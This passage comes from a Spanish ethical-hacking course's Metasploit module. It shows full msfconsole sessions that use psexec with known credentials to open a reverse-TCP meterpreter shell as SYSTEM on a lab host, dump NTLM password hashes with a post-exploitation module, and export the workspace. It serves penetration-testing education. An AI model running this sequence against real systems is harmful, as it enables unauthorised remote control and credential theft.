Una funcionalidad interesante de la shell interactiva de metasploit framework es la posibilidad de buscar módulos en base a un término. Por ejemplo, para obtener el listado de módulos relacionado con la utilidad psexec55 ejecutaríamos: msf auxiliary(smb2) > search psexec

Vamos a utilizar ahora el módulo de psexec para obtener una shell en uno de los hosts identificados previamente y en el que disponemos de usuario y contraseña válidos, así que lo seleccionaremos y estableceremos las opciones adecuadas: msf auxiliary(smb2) > use exploit/windows/smb/psexec msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name ---RHOST RPORT SHARE SMBDomain SMBPass SMBUser

Current Setting --------------445 ADMIN$ WORKGROUP

Required -------yes yes yes no no no

Description ----------The target address Set the SMB service port The share to connect to, can be... The Windows domain for authentication The password for the username The username to authenticate as

Exploit target: Id -0

Name ---Automatic

msf exploit(psexec) > set RHOST 192.168.0.211 RHOST => 192.168.0.211 msf exploit(psexec) > set SMBUser usuario SMBUser => usuario msf exploit(psexec) > set SMBPass 1234 SMBPass => 1234 msf exploit(psexec) >

NOTA: el indicador de línea de comandos mostrado por metasploit variará en función del módulo que tengamos seleccionado actualmente, al igual que las opciones disponibles. Si en cualquier momento queremos definir algún valor de forma global para toda la sesión utilizaremos el comando setg56.

Una vez configuradas las opciones básicas del módulo llega el momento de seleccionar un payload57 entendiendo por tal la acción que se ejecutará en el host remoto una vez comprometido. En este caso vamos a utilizar un payload que nos devolverá una shell inversa, es decir, una shell que se conectará a nosotros de forma automática una vez ejecutada. La única opción que configuraremos es la dirección IP donde queremos recibir la shell (LHOST) y que normalmente será la de nuestro equipo (192.168.0.109). El puerto a la escucha en la máquina local (LPORT) lo dejaremos configurado a su valor por defecto (4444): 55

https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands#setg 57 http://www.offensive-security.com/metasploit-unleashed/Payloads 56

45

msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(psexec) > set LHOST 192.168.0.109 LHOST => 192.168.0.109 msf exploit(psexec) >

Una vez todo preparado solo nos quedará lanzar el ‘exploit’ que ejecutaremos de forma que la shell recibida, en caso de tener éxito, quede en segundo plano, facilitándonos la tarea para el caso de que quisiéramos lanzar el mismo módulo u otro totalmente diferente contra un nuevo objetivo: msf exploit(psexec) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.110:4444 msf exploit(psexec) > [*] Connecting to the server... [*] Authenticating to 192.168.0.211:445|WORKGROUP as user 'usuario'... [*] Uploading payload... [*] Created \okVYOWUf.exe... [*] Deleting \okVYOWUf.exe... [*] Sending stage (770048 bytes) to 192.168.0.211 [*] Meterpreter session 1 opened (192.168.0.110:4444 -> 192.168.0.211:49180) at 2014-12-05 10:49:35 +0100 msf exploit(psexec) >

En cualquier momento podemos obtener un listado de las sesiones que tenemos en segundo plano (sessions) para seguidamente utilizar su identificador (Id) y poder así interactuar con ella, como se muestra en el siguiente listado: msf exploit(psexec) > sessions Active sessions =============== Id Type Information -- -------------1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PCNN4ED -> 192.168.0.211:49177 (192.168.0.211)

Connection ---------192.168.0.109:4444

msf exploit(psexec) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

Desde este momento podremos trabajar con ella y, si nuevamente queremos volver a dejarla en segundo plano, utilizaremos el comando background: meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... msf exploit(psexec) >

NOTA: el comando getuid de meterpreter nos permitirá identificar el usuario con el que se está ejecutando nuestra shell en el sistema remoto, y por lo tanto los privilegios que limitarán las acciones que podremos completar.

46

Vamos ahora a obtener los hashes de las contraseñas para los usuarios del sistema remoto y para ello utilizaremos un módulo de post-explotación. Únicamente será necesario especificar el parámetro correspondiente al identificador de la sesión en la que queremos que se ejecute el módulo: msf exploit(psexec) > use post/windows/gather/hashdump msf post(hashdump) > show options Module options (post/windows/gather/hashdump): Name ---SESSION

Current Setting ---------------

Required -------yes

Description ----------The session to run this module on.

msf post(hashdump) > set SESSION 1 SESSION => 1 msf post(hashdump) > run [*] [*] [*] [*] [*]

Obtaining the boot key... Calculating the hboot key using SYSKEY def5b890980041f9fcab2e640db5e6a5... Obtaining the user list and keys... Decrypting user keys... Dumping password hints...

usuario:"1234" [*] Dumping password hashes... Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c 089c0::: Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 ::: usuario:1000:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6 ::: testuser:1001:aad3b435b51404eeaad3b435b51404ee:b37b4a6d9f3656bcf01ff4e90988341 f::: testuser2:1002:aad3b435b51404eeaad3b435b51404ee:97e29565e33ee611b63774af4ee815 2c::: [*] Post module execution completed msf post(hashdump) >

Para terminar exportaremos el contenido de la base de datos del workspace a un fichero xml, lo que nos permitirá volver a importar los datos posteriormente si fuera necesario: msf [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] msf [*] [*]

post(hashdump) > db_export /root/cursohacking Starting export of workspace cursohacking to /root/cursohacking [ xml ]... >> Starting export of report >> Starting export of hosts >> Starting export of events >> Starting export of services >> Starting export of web sites >> Starting export of web pages >> Starting export of web forms >> Starting export of web vulns >> Starting export of module details >> Finished export of report Finished export of workspace cursohacking to /root/cursohacking [ xml ]... post(hashdump) > workspace -d cursohacking Deleted workspace: cursohacking Switched workspace: default

47

Por último cerraremos la sesión de meterpreter y saldremos de la consola de metasploit: msf post(hashdump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.0.211 - Meterpreter session 1 closed. msf post(hashdump) > exit root@kali:~#

Reason: User exit

Podemos comprobar como el contenido de la base de datos exportado previamente se ha almacenado en su correspondiente fichero con formato xml: root@kali:~# ls -l cursohacking -rw-r--r-- 1 root root 5541278 dic 5 10:54 cursohacking root@kali:~# head cursohacking



25 2014-12-05 09:47:40 UTC 192.168.0.91

root@kali:~#

5.2.4. Estructura de directorios 5.2.5. Componentes Módulos auxiliares Módulos de explotación Módulos de post-explotación Payloads Herramientas independientes

5.2.6. Meterpreter 5.2.7. Programando en Metasploit

48

Referencias Módulo 1: Introducción El concepto de “hacking ético” http://www.seinhe.com/blog/135-el-concepto-de-hacking-etico Código penal y legislación complementaria https://www.boe.es/legislacion/codigos/codigo.php?id=038_Codigo_Penal_y_legislacion_com plementaria&modo=1 ¿Es delito el “hacking ético”? (I) http://www.elmundo.es/tecnologia/2014/08/09/53e316a9268e3ea4038b456b.html ¿Es delito el “hacking ético”? (II) http://www.elmundo.es/tecnologia/2014/08/17/53eeef97268e3e31558b456c.html

Módulo 2: Sistemas informáticos y redes de comunicaciones Wikipedia: Historia de internet http://es.wikipedia.org/wiki/Historia_de_Internet Wikipedia: Modelo OSI http://es.wikipedia.org/wiki/Modelo_OSI Familia de protocolos de Internet http://es.wikipedia.org/wiki/Familia_de_protocolos_de_Internet TCP/IP Protocol Architecture http://technet.microsoft.com/en-us/library/cc958821.aspx Taller de TCP/IP http://www.wadalbertia.org/docs/taller_tcpip.pdf

Módulo 3: Recopilación de información Google Hacking for Penetration Testers, Volume 1 Autor: Johnny Long Editorial: Syngress ISBN: 978-1-931836-36-4 Google Hacking for Penetration Testers, Volume 2 Autor: Johnny Long Editorial: Syngress ISBN: 978-1-59749-176-1

49

Protocolos de INTERNET: Diseño e implementación en sistemas UNIX Autores: Ángel López y Alejandro Novo Editorial: Ra-Ma ISBN: 84-7897-382-6

Módulo 4: Identificación de vulnerabilidades Explanation of the Three-Way Handshake via TCP/IP http://support.microsoft.com/kb/172983 Guía avanzada de nmap http://www.csirtcv.gva.es/es/descargas/gu%C3%ADa-avanzada-de-nmap.html Sabuesos en la red: el escaneo de puertos http://houdini-hck.netai.net/Lecciones/Sabuesos%20en%20la%20Red.pdf Nmap Online Book - Chapter 8: Remote OS Detection http://nmap.org/book/osdetect.html

Módulo 5: Explotación de vulnerabilidades Metasploit: The penetration tester’s guide Autores: David Kennedy, Jim O’Gorman, Devon Keans y Mati Aharoni Editorial: No Starch Press ISBN-10: 159327288X ISBN-13: 978-1593272883 Metasploit Unleashed: mastering the framework http://www.offensive-security.com/metasploit-unleashed/Main_Page [VIDEOS] Hak5: metasploit minute http://hak5.org/category/episodes/metasploit-minute

50